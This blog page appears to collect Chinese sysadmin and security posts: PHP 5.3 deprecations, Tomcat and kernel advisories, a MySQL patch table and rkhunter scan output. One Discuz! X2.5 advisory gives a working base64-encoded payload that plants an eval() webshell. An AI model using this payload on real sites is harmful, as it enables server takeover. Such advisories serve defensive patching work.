Skip to content


【转】php-5.3.x中弃用的功能和函数

PHP 5.3.0 新增了两个错误等级: E_DEPRECATED 和 E_USER_DEPRECATED. 错误等级 E_DEPRECATED 被用来说明一个函数或者功能已经被弃用. E_USER_DEPRECATED 等级目的在于表明用户代码中的弃用功能, 类似于 E_USER_ERROR 和 E_USER_WARNING等级.下面是被弃用的 INI 指令列表. 使用下面任何指令都将导致 E_DEPRECATED 错误.

define_syslog_variables
register_globals
register_long_arrays
safe_mode
magic_quotes_gpc
magic_quotes_runtime
magic_quotes_sybase

弃用的函数:
call_user_method() (使用 call_user_func() 替代)
call_user_method_array() (使用 call_user_func_array() 替代)
define_syslog_variables()
dl()
ereg() (使用 preg_match() 替代)
ereg_replace() (使用 preg_replace() 替代)
eregi() (使用 preg_match() 配合 ‘i’ 修正符替代)
eregi_replace() (使用 preg_replace() 配合 ‘i’ 修正符替代)
set_magic_quotes_runtime() 以及它的别名函数 magic_quotes_runtime()
session_register() (使用 $_SESSION 超全部变量替代)
session_unregister() (使用 $_SESSION 超全部变量替代)
session_is_registered() (使用 $_SESSION 超全部变量替代)
set_socket_blocking() (使用 stream_set_blocking() 替代)
split() (使用 preg_split() 替代)
spliti() (使用 preg_split() 配合 ‘i’ 修正符替代)
sql_regcase()
mysql_db_query() (使用 mysql_select_db() 和 mysql_query() 替代)
mysql_escape_string() (使用 mysql_real_escape_string() 替代)

不向下兼容的变化
尽管大多数现有的 PHP 5 代码无需改变就可以工作,但是请注意一些不向下兼容的变化:
在 PHP 5.3.x 的所有绑定扩展中应用了新的内部参数解析API, 当给函数传递了不兼容的参数时将返回 NULL. 但有一些例外,比如函数 get_class() 在出现错误时将会返回 FALSE.
clearstatcache() 默认不再清除缓存的 realpath.
realpath() 现在是完全与平台无关的. 结果是非法的相对路径比如 __FILE__ . “/../x” 将不会工作.
call_user_func() 系列函数即使被调用者是一个父类也使用 $this.
数组函数 natsort(), natcasesort(), usort(), uasort(), uksort(), array_flip(), 和 array_unique() 将不再接受对象作为参数. 在将这些函数应用于对象时, 请首先将对象转换为数组.
按引用传递参数的函数在被按值传递调用时行为发生改变. 此前函数将接受按值传递的参数, 现在将抛出致命错误. 之前任何期待传递引用但是在调用时传递了常量或者字面值 的函数, 需要在调用前改为将该值赋给一个变量。
新的 mysqlnd 库需要使用 MySQL 4.1 新的 41 字节密码格式。继续使用旧的 16 字节密码将导致 mysql_connect() 和其它类似函数 抛出 “mysqlnd cannot connect to MySQL 4.1+ using old authentication.” 错误.
新的 mysqlnd 库将不再读取 MySQL 配置文件(my.cnf/my.ini), 这与旧版本的 libmysql 库不同. 如果你的代码依赖于这些配置 文件, 你可以使用 mysqli_options() 显式地加载它. 注意, 这意味着如果 PDO 中的 MySQL 支持使用了 mysqlnd 进行编译,PDO 特有常量 PDO::MYSQL_ATTR_READ_DEFAULT_FILE 和 PDO::MYSQL_ATTR_READ_DEFAULT_GROUP 将是未定义的.
SplFileInfo 及其相关目录类会移除末尾的 /.
__toString 魔术方法不再接受参数.
魔术方法 __get, __set, __isset, __unset, and __call 应该总是公共的(public)且不能是静态的(static). 方法签名是必须的.
现在 __call 魔术方法在访问私有的(private)和被保护的(protected)方法时被调用.
函数内 include() 或者 require() 一个文件时,文件内 将不能使用 func_get_arg(), func_get_args() 和 func_num_args() 函数。
新增了一个包裹在 MHASH 扩展外面的仿真层。但是并非所有的算法都涉及到了,值得注意的是 s2k 哈希算法。这意味着 s2k 哈希算法在 PHP 5.3.0 中不再可用。

转自:http://www.rootsec.org/post/php-5-3-x%E4%B8%AD%E5%90%AF%E7%94%A8%E7%9A%84%E5%8A%9F%E8%83%BD%E5%92%8C%E5%87%BD%E6%95%B0.html

Posted in PHP.

Tagged with .


Discuz! X2.5 远程代码执行漏洞及EXP[XDAY]

发布时间: 2012-04-27
漏洞版本:Discuz! X2.5Release20120407
漏洞描述:
Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号,在实现上存在远程命令执行漏洞, 远程攻击者可利用此漏洞执行远程任意代码。要成功利用此漏洞需要目标启用seo功能。

测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1,注册任意账户
2,登陆用户,发表blog日志(注意是日志)
3,添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4,访问日志,论坛根目录下生成demo.php,一句话密码C

Discuz已经发布了新版Discuz! X2.5 R20120427
http://www.discuz.net/thread-2744369-1-1.html

参考
http://sebug.net/vuldb/ssvid-60082
http://www.wooyun.org/bugs/wooyun-2012-06420
http://yaonie.org/archives/165

补充:PHP 5.4/5.3弃用eregi()函数内存限制绕过漏洞
危害
远程攻击者可以利用漏洞耗尽系统内存。

攻击所需条件
攻击者必须访问PHP应用。

漏洞信息
PHP 5.3之后弃用了基于POSIX规则表达式的函数如eregi,但在5.4.0版本中仍然使用这些函数,可被利用绕过memory_limit,通过eregi()耗尽内存。

测试方法
http://cxsecurity.com/issue/WLB-2012030271
漏洞消息链接
http://marc.info/?l=bugtraq&m=133311683110469&w=2

漏洞消息标题
PHP 5.4/5.3 deprecated eregi() memory_limit bypass

Posted in Discuz/Uchome/Ucenter, 安全通告.

Tagged with , , .


Apache Tomcat 6.0.35前有拒绝服务,信息泄露等漏洞

Apache Tomcat 6.0.35前有信息泄露相关的一个漏洞(CVE-2011-3375),
以及另一个在此前广受关注的哈希碰撞引发拒绝服务(DoS)漏洞(CVE-2012-0022),
Apache 建议用户对 Tomcat 进行升级从而规避此漏洞。

http://tomcat.apache.org/security-6.html

一.安装Oracle JRockit
使用Oracle JRockit 可以提高tomcat性能
当前版本Oracle JRockit 6 – R28.2.3
Includes JRockit Mission Control 4.1 and JRockit Real Time 4.1
http://download.oracle.com/otn/bea/jrockit/jrockit-jdk1.6.0_31-R28.2.3-4.1.0-linux-x64.bin

需登录后下载

chmod u+x jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin
./jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin

遇到以下错误可能是/tmp没有执行权限

sh: jre150_12/bin/java: Permission denied
** Error during execution, error code = 32256.

按照提示一步步安装到
/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0
做个软链接

ln -s /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 /usr/jrrt

二.安装apr
yum install apr apr-util apr-devel

tomcat需要tomcat-native,而tomcat-native需要apr和openssl
没有apr启动tomcat可能会有以下错误

2012-4-20 13:28:37 org.apache.catalina.core.AprLifecycleListener init
信息: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/lib/amd64/jrockit:/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/lib/amd64:/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/../lib/amd64

三.tomcat 安装
tomcat安装在/opt/下

cd /root/src/
wget http://labs.renren.com/apache-mirror/tomcat/tomcat-6/v6.0.35/bin/apache-tomcat-6.0.35.tar.gz
tar zxvf apache-tomcat-6.0.35.tar.gz
mv apache-tomcat-6.0.35 /opt/
cd /opt
#复制配制文件
cp -ar tomcat/conf/*.xml apache-tomcat-6.0.35/conf/
#复制经过修改的关闭脚本,原生的有问题
cp tomcat/bin/shutdown.sh apache-tomcat-6.0.35/bin/

四.安装tomcat-native

cd apache-tomcat-6.0.35/bin
tar zxvf tomcat-native-1.1.22-src.tar.gz
cd tomcat-native-1.1.22-src/jni/native/
./configure –with-apr=/usr/bin/apr-1-config –with-java-home=/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0
make
make install

五.编辑变量
vi /etc/profile

JAVA_HOME=/usr/jrrt
export JAVA_HOME
PATH=$PATH:$JAVA_HOME/bin
#原始设置省略

APR_HOME=/usr/local/apr
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$APR_HOME/lib
export LD_LIBRARY_PATH

重新载入
source /etc/profile

六.迁移服务及应用
关闭tomcat
/opt/tomcat/bin/shutdown.sh

cd /opt
mv apache-tomcat-6.0.35/webapps/ apache-tomcat-6.0.35/webappsorg
cp -ar tomcat/webapps apache-tomcat-6.0.35/

mv apache-tomcat-6.0.35/lib/ apache-tomcat-6.0.35/libbak
cp -ar tomcat/lib/ apache-tomcat-6.0.35/
mv apache-tomcat-6.0.35/libbak/* apache-tomcat-6.0.35/lib/

删除软链接

rm /opt/tomcat
ln -s /opt/apache-tomcat-6.0.35 /opt/tomcat

启动tomcat
/opt/tomcat/bin/startup.sh
检查日志及服务
tail -n100 /opt/tomcat/logs/catalina.out

参考:
tomcat安全设置
优化tomcat 内存
CentOs5.2安装tomcat
使用Oracle JRockit 提高tomcat性能

Posted in Tomcat, 安全通告.

Tagged with , .


centos/rhel 6.x部分系统在运行208.5天后可能会重启

centos/rhel 6.x部分kernel版本由于计数器溢出的bug,208.5天后可能会造成kernel panic

https://rhn.redhat.com/errata/RHBA-2012-0124.html
Updated kernel packages that fix one bug are now available for Red Hat
Enterprise Linux 6.

The kernel packages contain the Linux kernel, the core of any Linux operating
system.

This update fixes the following bug:

* An insufficiently designed calculation in the CPU accelerator in the previous
kernel caused an arithmetic overflow in the sched_clock() function when system
uptime exceeded 208.5 days. This overflow led to a kernel panic on the systems
using the Time Stamp Counter (TSC) or Virtual Machine Interface (VMI) clock
source. This update corrects the aforementioned calculation so that this
arithmetic overflow and kernel panic can no longer occur under these
circumstances. (BZ#781974)

All users are advised to upgrade to these updated packages, which fix this bug.
The system must be rebooted for this update to take effect.

参考:
http://hi.baidu.com/beibeiboo/blog/item/90a5d3ec8f41570762d09f89.html

Posted in 安全通告.

Tagged with .


Oracle发布了本季安全补丁,包含了mysql在内的高危漏洞补丁

mysql 5.1.61 和mysql 5.5.21之前的版本都受影响,以下列出关于mysql的信息
http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html#AppendixMSQL

Oracle MySQL Executive Summary

 

This Critical Patch Update contains 6 new security fixes for Oracle MySQL.  None of these vulnerabilities may be remotely exploitable without authentication, i.e., none may be exploited over a network without the need for a username and password.  The English text form of this Risk Matrix can be found here.

Oracle MySQL Risk Matrix

 

 

CVE# Component Protocol Sub-
component
Remote Exploit without Auth.? CVSS VERSION 2.0 RISK (see Risk Matrix Definitions) Supported Versions Affected Notes
Base Score Access Vector Access Complexity Authen-
tication
Confiden-
tiality
Integrity Avail-
ability
CVE-2012-1703 MySQL Server MySQL Protocol Server Optimizer No 6.8 Network Low Single None None Complete 5.1.61 and earlier, 5.5.21 and earlier
CVE-2012-0583 MySQL Server MySQL Protocol MyISAM No 4.0 Network Low Single None None Partial+ 5.1.60 and earlier, 5.5.19 and earlier
CVE-2012-1697 MySQL Server MySQL Protocol Partition No 4.0 Network Low Single None None Partial+ 5.5.21 and earlier
CVE-2012-1688 MySQL Server MySQL Protocol Server DML No 4.0 Network Low Single None None Partial+ 5.1.61 and earlier, 5.5.21 and earlier
CVE-2012-1696 MySQL Server MySQL Protocol Server Optimizer No 4.0 Network Low Single None None Partial+ 5.5.19 and earlier
CVE-2012-1690 MySQL Server MySQL Protocol Server Optimizer No 4.0 Network Low Single None None Partial+ 5.1.61 and earlier, 5.5.21 and earlier  

Text Form of Risk Matrix for Oracle MySQL

This table provides the text form of the Risk Matrix for Oracle MySQL.

CVE Identifier Description
CVE-2012-0583 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: MyISAM). Supported versions that are affected are 5.1.60 and earlier and 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1688 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server DML). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1690 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1696 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1697 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Partition). Supported versions that are affected are 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory]
CVE-2012-1703 Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized Operating System hang or frequently repeatable crash (complete DOS).CVSS Base Score 6.8 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:C). (legend) [Advisory]


Posted in 安全通告.

Tagged with .


入侵检测工具rkhunter安装

rkhunter是Linux下的一款开源入侵检测工具。rkhunter具有比chrootkit更为全面的扫描范围。除rootkit特征码扫描外,rkhunter还支持端口扫描,常用开源软件版本和文件变动情况检查等。
rkhunter的官方网站位于http://www.rootkit.nl/,目前最新的版本是rkhunter-1.3.8。

centos5.8
Linux C1gstudio 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64 x86_64 x86_64 GNU/Linux

一.安装
安装到自定义目录/usr/local/rkhunter

wget http://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.3.8/rkhunter-1.3.8.tar.gz
tar zxvf rkhunter-1.3.8.tar.gz
cd rkhunter-1.3.8
mkdir -p /usr/local/rkhunter
./installer.sh –layout custom /usr/local/rkhunter –install


Note: Directory /usr/local/rkhunter/bin is not in your PATH

Checking system for:
Rootkit Hunter installer files: found
A web file download command: wget found
Starting installation:
Checking installation directory “/usr/local/rkhunter”: it exists and is writable.
Checking installation directories:
Directory /usr/local/rkhunter/share/doc/rkhunter-1.3.8: creating: OK
Directory /usr/local/rkhunter/share/man/man8: creating: OK
Directory /usr/local/rkhunter/etc: creating: OK
Directory /usr/local/rkhunter/bin: creating: OK
Directory /usr/local/rkhunter/lib64: creating: OK
Directory /usr/local/rkhunter/var/lib: creating: OK
Directory /usr/local/rkhunter/lib64/rkhunter/scripts: creating: OK
Directory /usr/local/rkhunter/var/lib/rkhunter/db: creating: OK
Directory /usr/local/rkhunter/var/lib/rkhunter/tmp: creating: OK
Directory /usr/local/rkhunter/var/lib/rkhunter/db/i18n: creating: OK
Installing check_modules.pl: OK
Installing filehashsha.pl: OK
Installing stat.pl: OK
Installing readlink.sh: OK
Installing backdoorports.dat: OK
Installing mirrors.dat: OK
Installing programs_bad.dat: OK
Installing suspscan.dat: OK
Installing rkhunter.8: OK
Installing ACKNOWLEDGMENTS: OK
Installing CHANGELOG: OK
Installing FAQ: OK
Installing LICENSE: OK
Installing README: OK
Installing language support files: OK
Installing rkhunter: OK
Installing rkhunter.conf: OK
Installation complete

/usr/local/rkhunter/bin/rkhunter –help

Usage: rkhunter {–check | –unlock | –update | –versioncheck |
–propupd [{filename | directory | package name},…] |
–list [{tests | {lang | languages} | rootkits | perl}] |
–config-check | –version | –help} [options]

Current options are:
–append-log Append to the logfile, do not overwrite
–bindir … Use the specified command directories
-c, –check Check the local system
-C, –config-check Check the configuration file(s), then exit
–cs2, –color-set2 Use the second color set for output
–configfile Use the specified configuration file
–cronjob Run as a cron job
(implies -c, –sk and –nocolors options)
–dbdir Use the specified database directory
–debug Debug mode
(Do not use unless asked to do so)
–disable [,…] Disable specific tests
(Default is to disable no tests)
–display-logfile Display the logfile at the end
–enable [,…] Enable specific tests
(Default is to enable all tests)
–hash {MD5 | SHA1 | SHA224 | SHA256 | SHA384 | SHA512 |
NONE | } Use the specified file hash function
(Default is SHA1, then MD5)
-h, –help Display this help menu, then exit
–lang, –language Specify the language to use
(Default is English)
–list [tests | languages | List the available test names, languages, checked
rootkits | perl] for rootkits, or perl module status, then exit
-l, –logfile [file] Write to a logfile
(Default is /var/log/rkhunter.log)
–noappend-log Do not append to the logfile, overwrite it
–nocf Do not use the configuration file entries
for disabled tests (only valid with –disable)
–nocolors Use black and white output
–nolog Do not write to a logfile
–nomow, –no-mail-on-warning Do not send a message if warnings occur
–ns, –nosummary Do not show the summary of check results
–novl, –no-verbose-logging No verbose logging
–pkgmgr {RPM | DPKG | BSD | Use the specified package manager to obtain or
SOLARIS | NONE} verify file property values. (Default is NONE)
–propupd [file | directory | Update the entire file properties database,
package]… or just for the specified entries
-q, –quiet Quiet mode (no output at all)
–rwo, –report-warnings-only Show only warning messages
-r, –rootdir Use the specified root directory
–sk, –skip-keypress Don’t wait for a keypress after each test
–summary Show the summary of system check results
(This is the default)
–syslog [facility.priority] Log the check start and finish times to syslog
(Default level is authpriv.notice)
–tmpdir Use the specified temporary directory
–unlock Unlock (remove) the lock file
–update Check for updates to database files
–vl, –verbose-logging Use verbose logging (on by default)
-V, –version Display the version number, then exit
–versioncheck Check for latest version of program
-x, –autox Automatically detect if X is in use
-X, –no-autox Do not automatically detect if X is in use

更新db
/usr/local/rkhunter/bin/rkhunter –update

[ Rootkit Hunter version 1.3.8 ]

Checking rkhunter data files…
Checking file mirrors.dat [ No update ]
Checking file programs_bad.dat [ Updated ]
Checking file backdoorports.dat [ No update ]
Checking file suspscan.dat [ No update ]
Checking file i18n/cn [ No update ]
Checking file i18n/de [ No update ]
Checking file i18n/en [ No update ]
Checking file i18n/zh [ No update ]
Checking file i18n/zh.utf8 [ No update ]

ll /usr/local/rkhunter/var/lib/rkhunter/db/

total 20
-rw-r—– 1 root root 1055 Apr 9 13:43 backdoorports.dat
drwxr-x— 2 root root 4096 Apr 9 13:43 i18n
-rw-r—– 1 root root 58 Apr 9 13:44 mirrors.dat
-rw-r—– 1 root root 3203 Apr 9 13:44 programs_bad.dat
-rw-r—– 1 root root 1904 Apr 9 13:43 suspscan.dat

在系统“干净”的时候产生对比文件
/usr/local/rkhunter/bin/rkhunter –propupd
[ Rootkit Hunter version 1.3.8 ]
File created: searched for 164 files, found 135

多了rkhunter.dat,rkhunter_prop_list.dat文件
ll /usr/local/rkhunter/var/lib/rkhunter/db/

total 68
-rw-r—– 1 root root 1055 Apr 9 13:43 backdoorports.dat
drwxr-x— 2 root root 4096 Apr 9 13:43 i18n
-rw-r—– 1 root root 58 Apr 9 13:44 mirrors.dat
-rw-r—– 1 root root 3203 Apr 9 13:44 programs_bad.dat
-rw-r—– 1 root root 12958 Apr 9 13:47 rkhunter.dat
-rw-r—– 1 root root 31798 Apr 9 13:47 rkhunter_prop_list.dat
-rw-r—– 1 root root 1904 Apr 9 13:43 suspscan.dat

二.开始检查,有问题会红色的Warning 提示
/usr/local/rkhunter/bin/rkhunter -c –sk

[ Rootkit Hunter version 1.3.8 ]

Checking system commands…

Performing ‘strings’ command checks
Checking ‘strings’ command [ OK ]

Performing ‘shared libraries’ checks
Checking for preloading variables [ None found ]
Checking for preloaded libraries [ None found ]
Checking LD_LIBRARY_PATH variable [ OK ]

Performing file properties checks
Checking for prerequisites [ OK ]
/sbin/chkconfig [ OK ]
/sbin/depmod [ OK ]
/sbin/fsck [ OK ]
/sbin/fuser [ OK ]
/sbin/ifconfig [ OK ]
/sbin/ifdown [ Warning ]
/sbin/ifup [ Warning ]
/sbin/init [ OK ]
/sbin/insmod [ OK ]
/sbin/ip [ OK ]
/sbin/kudzu [ OK ]
/sbin/lsmod [ OK ]
/sbin/modinfo [ OK ]
/sbin/modprobe [ OK ]
/sbin/nologin [ OK ]
/sbin/rmmod [ OK ]
/sbin/route [ OK ]
/sbin/rsyslogd [ OK ]
/sbin/runlevel [ OK ]
/sbin/sulogin [ OK ]
/sbin/sysctl [ OK ]
/sbin/syslogd [ OK ]
/bin/awk [ OK ]
/bin/basename [ OK ]
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/cp [ OK ]
/bin/csh [ OK ]
/bin/cut [ OK ]
/bin/date [ OK ]
/bin/df [ OK ]
/bin/dmesg [ OK ]
/bin/echo [ OK ]
/bin/ed [ OK ]
/bin/egrep [ OK ]
/bin/env [ OK ]
/bin/fgrep [ OK ]
/bin/grep [ OK ]
/bin/kill [ OK ]
/bin/logger [ OK ]
/bin/login [ OK ]
/bin/ls [ OK ]
/bin/mail [ OK ]
/bin/mktemp [ OK ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/mv [ OK ]
/bin/netstat [ OK ]
/bin/ps [ OK ]
/bin/pwd [ OK ]
/bin/rpm [ OK ]
/bin/sed [ OK ]
/bin/sh [ OK ]
/bin/sort [ OK ]
/bin/su [ OK ]
/bin/touch [ OK ]
/bin/uname [ OK ]
/bin/gawk [ OK ]
/bin/tcsh [ OK ]
/usr/sbin/adduser [ OK ]
/usr/sbin/chroot [ OK ]
/usr/sbin/groupadd [ OK ]
/usr/sbin/groupdel [ OK ]
/usr/sbin/groupmod [ OK ]
/usr/sbin/grpck [ OK ]
/usr/sbin/kudzu [ OK ]
/usr/sbin/lsof [ OK ]
/usr/sbin/prelink [ OK ]
/usr/sbin/pwck [ OK ]
/usr/sbin/sestatus [ OK ]
/usr/sbin/tcpd [ OK ]
/usr/sbin/useradd [ OK ]
/usr/sbin/userdel [ OK ]
/usr/sbin/usermod [ OK ]
/usr/sbin/vipw [ OK ]
/usr/bin/awk [ OK ]
/usr/bin/chattr [ OK ]
/usr/bin/curl [ OK ]
/usr/bin/cut [ OK ]
/usr/bin/diff [ OK ]
/usr/bin/dirname [ OK ]
/usr/bin/du [ OK ]
/usr/bin/env [ OK ]
/usr/bin/file [ OK ]
/usr/bin/find [ OK ]
/usr/bin/groups [ Warning ]
/usr/bin/head [ OK ]
/usr/bin/id [ OK ]
/usr/bin/kill [ OK ]
/usr/bin/killall [ OK ]
/usr/bin/last [ OK ]
/usr/bin/lastlog [ OK ]
/usr/bin/ldd [ Warning ]
/usr/bin/less [ OK ]
/usr/bin/locate [ OK ]
/usr/bin/logger [ OK ]
/usr/bin/lsattr [ OK ]
/usr/bin/md5sum [ OK ]
/usr/bin/newgrp [ OK ]
/usr/bin/passwd [ OK ]
/usr/bin/perl [ OK ]
/usr/bin/pgrep [ OK ]
/usr/bin/pstree [ OK ]
/usr/bin/readlink [ OK ]
/usr/bin/runcon [ OK ]
/usr/bin/sha1sum [ OK ]
/usr/bin/sha224sum [ OK ]
/usr/bin/sha256sum [ OK ]
/usr/bin/sha384sum [ OK ]
/usr/bin/sha512sum [ OK ]
/usr/bin/size [ OK ]
/usr/bin/stat [ OK ]
/usr/bin/strace [ OK ]
/usr/bin/strings [ OK ]
/usr/bin/sudo [ OK ]
/usr/bin/tail [ OK ]
/usr/bin/test [ OK ]
/usr/bin/top [ OK ]
/usr/bin/tr [ OK ]
/usr/bin/uniq [ OK ]
/usr/bin/users [ OK ]
/usr/bin/vmstat [ OK ]
/usr/bin/w [ OK ]
/usr/bin/watch [ OK ]
/usr/bin/wc [ OK ]
/usr/bin/wget [ OK ]
/usr/bin/whatis [ Warning ]
/usr/bin/whereis [ OK ]
/usr/bin/which [ OK ]
/usr/bin/who [ OK ]
/usr/bin/whoami [ OK ]
/usr/bin/gawk [ OK ]
/usr/local/rkhunter/etc/rkhunter.conf [ OK ]

Checking for rootkits…

Performing check of known rootkit files and directories
55808 Trojan – Variant A [ Not found ]
ADM Worm [ Not found ]
AjaKit Rootkit [ Not found ]
Adore Rootkit [ Not found ]
aPa Kit [ Not found ]
Apache Worm [ Not found ]
Ambient (ark) Rootkit [ Not found ]
Balaur Rootkit [ Not found ]
BeastKit Rootkit [ Not found ]
beX2 Rootkit [ Not found ]
BOBKit Rootkit [ Not found ]
cb Rootkit [ Not found ]
CiNIK Worm (Slapper.B variant) [ Not found ]
Danny-Boy’s Abuse Kit [ Not found ]
Devil RootKit [ Not found ]
Dica-Kit Rootkit [ Not found ]
Dreams Rootkit [ Not found ]
Duarawkz Rootkit [ Not found ]
Enye LKM [ Not found ]
Flea Linux Rootkit [ Not found ]
FreeBSD Rootkit [ Not found ]
Fu Rootkit [ Not found ]
Fuck`it Rootkit [ Not found ]
GasKit Rootkit [ Not found ]
Heroin LKM [ Not found ]
HjC Kit [ Not found ]
ignoKit Rootkit [ Not found ]
iLLogiC Rootkit [ Not found ]
IntoXonia-NG Rootkit [ Not found ]
Irix Rootkit [ Not found ]
Kitko Rootkit [ Not found ]
Knark Rootkit [ Not found ]
ld-linuxv.so Rootkit [ Not found ]
Li0n Worm [ Not found ]
Lockit / LJK2 Rootkit [ Not found ]
Mood-NT Rootkit [ Not found ]
MRK Rootkit [ Not found ]
Ni0 Rootkit [ Not found ]
Ohhara Rootkit [ Not found ]
Optic Kit (Tux) Worm [ Not found ]
Oz Rootkit [ Not found ]
Phalanx Rootkit [ Not found ]
Phalanx2 Rootkit [ Not found ]
Phalanx2 Rootkit (extended tests) [ Not found ]
Portacelo Rootkit [ Not found ]
R3dstorm Toolkit [ Not found ]
RH-Sharpe’s Rootkit [ Not found ]
RSHA’s Rootkit [ Not found ]
Scalper Worm [ Not found ]
Sebek LKM [ Not found ]
Shutdown Rootkit [ Not found ]
SHV4 Rootkit [ Not found ]
SHV5 Rootkit [ Not found ]
Sin Rootkit [ Not found ]
Slapper Worm [ Not found ]
Sneakin Rootkit [ Not found ]
‘Spanish’ Rootkit [ Not found ]
Suckit Rootkit [ Not found ]
SunOS Rootkit [ Not found ]
SunOS / NSDAP Rootkit [ Not found ]
Superkit Rootkit [ Not found ]
TBD (Telnet BackDoor) [ Not found ]
TeLeKiT Rootkit [ Not found ]
T0rn Rootkit [ Not found ]
trNkit Rootkit [ Not found ]
Trojanit Kit [ Not found ]
Tuxtendo Rootkit [ Not found ]
URK Rootkit [ Not found ]
Vampire Rootkit [ Not found ]
VcKit Rootkit [ Not found ]
Volc Rootkit [ Not found ]
Xzibit Rootkit [ Not found ]
X-Org SunOS Rootkit [ Not found ]
zaRwT.KiT Rootkit [ Not found ]
ZK Rootkit [ Not found ]

Performing additional rootkit checks
Suckit Rookit additional checks [ OK ]
Checking for possible rootkit files and directories [ None found ]
Checking for possible rootkit strings [ None found ]

Performing malware checks
Checking running processes for suspicious files [ None found ]
Checking for login backdoors [ None found ]
Checking for suspicious directories [ None found ]
Checking for sniffer log files [ None found ]

Performing Linux specific checks
Checking loaded kernel modules [ OK ]
Checking kernel module names [ OK ]

Checking the network…

Performing checks on the network ports
Checking for backdoor ports [ None found ]

Performing checks on the network interfaces
Checking for promiscuous interfaces [ None found ]

Checking the local host…

Performing system boot checks
Checking for local host name [ Found ]
Checking for system startup files [ Found ]
Checking system startup files for malware [ None found ]

Performing group and account checks
Checking for passwd file [ Found ]
Checking for root equivalent (UID 0) accounts [ None found ]
Checking for passwordless accounts [ None found ]
Checking for passwd file changes [ None found ]
Checking for group file changes [ None found ]
Checking root account shell history files [ OK ]

Performing system configuration file checks
Checking for SSH configuration file [ Found ]
Checking if SSH root access is allowed [ Not allowed ]
Checking if SSH protocol v1 is allowed [ Not allowed ]
Checking for running syslog daemon [ Found ]
Checking for syslog configuration file [ Found ]
Checking if syslog remote logging is allowed [ Not allowed ]

Performing filesystem checks
Checking /dev for suspicious file types [ None found ]
Checking for hidden files and directories [ Warning ]

Checking application versions…

Checking version of GnuPG [ OK ]
Checking version of OpenSSL [ Warning ]
Checking version of Procmail MTA [ OK ]
Checking version of OpenSSH [ Warning ]

System checks summary
=====================

File properties checks…
Files checked: 135
Suspect files: 5

Rootkit checks…
Rootkits checked : 253
Possible rootkits: 0

Applications checks…
Applications checked: 4
Suspect applications: 2

The system checks took: 1 minute and 38 seconds

All results have been written to the log file (/var/log/rkhunter.log)

One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)

相应产生的日志
# cat /var/log/rkhunter.log |grep Warning

[13:52:20] /sbin/ifdown [ Warning ]
[13:52:20] Warning: The command ‘/sbin/ifdown’ has been replaced by a script: /sbin/ifdown: Bourne-Again shell script text executable
[13:52:20] /sbin/ifup [ Warning ]
[13:52:20] Warning: The command ‘/sbin/ifup’ has been replaced by a script: /sbin/ifup: Bourne-Again shell script text executable
[13:52:34] /usr/bin/groups [ Warning ]
[13:52:34] Warning: The command ‘/usr/bin/groups’ has been replaced by a script: /usr/bin/groups: Bourne shell script text executable
